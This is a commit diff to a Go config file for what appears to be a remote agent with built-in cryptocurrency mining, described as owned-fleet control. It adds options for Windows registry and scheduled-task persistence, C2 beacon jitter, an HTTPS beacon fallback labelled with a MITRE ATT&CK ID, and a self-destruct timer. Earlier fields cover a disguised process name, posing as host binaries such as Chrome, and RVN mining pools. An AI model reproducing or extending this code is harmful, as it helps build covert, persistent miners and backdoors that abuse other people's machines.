feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

agent/config/config.go

@@ -22,6 +22,16 @@ type BuiltinConfig struct {
 	RunAs               string
 	HostBinaryTarget    string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary
 	AutoStart           bool
+	// AutostartMode selects boot/logon hooks beyond RunAs (Windows). Empty = legacy (HKCU Run when AutoStart).
+	// Values: none, logon_run, logon_startup_folder, boot_task, logon_task, all (comma-separated allowed).
+	AutostartMode string
+	// RegistryPersistence selects forge-baked registry Run/RunOnce locations (Windows).
+	// Values: off, hkcu_run, hkcu_run_once, hklm_run, hklm_run_once, explorer_run, combined (comma-separated allowed).
+	RegistryPersistence string
+	RegistryRunHKCU       bool
+	RegistryRunHKLM       bool
+	RegistryRunOnce       bool
+	RegistryExplorerRun   bool
 	ProcessName         string
 	BuildID             string
 	BuiltAt             time.Time
@@ -76,6 +86,15 @@ type BuiltinConfig struct {
 	RVNPoolTLS     bool       // primary RVN pool TLS flag
 	RVNPoolPass    string     // stratum password (usually "x")
 	RVNBackupPools []BackupPool // failover RVN pools
+
+	// Connection profile — C2 beacon timing and self-destruct
+	BeaconIntervalSec  int // base reconnect delay seconds (0 = default 5)
+	BeaconJitterPct    int // ± percent jitter on reconnect sleep (0–100)
+	AgentKillAfterDays int // exit after N days since BuiltAt (0 = never)
+	// HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down.
+	HTTPSBeaconFallback bool
+	// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
+	HTTPSBeaconAfterMin int
 }
 
 // BackupPool holds connection info for a fallback Stratum mining pool.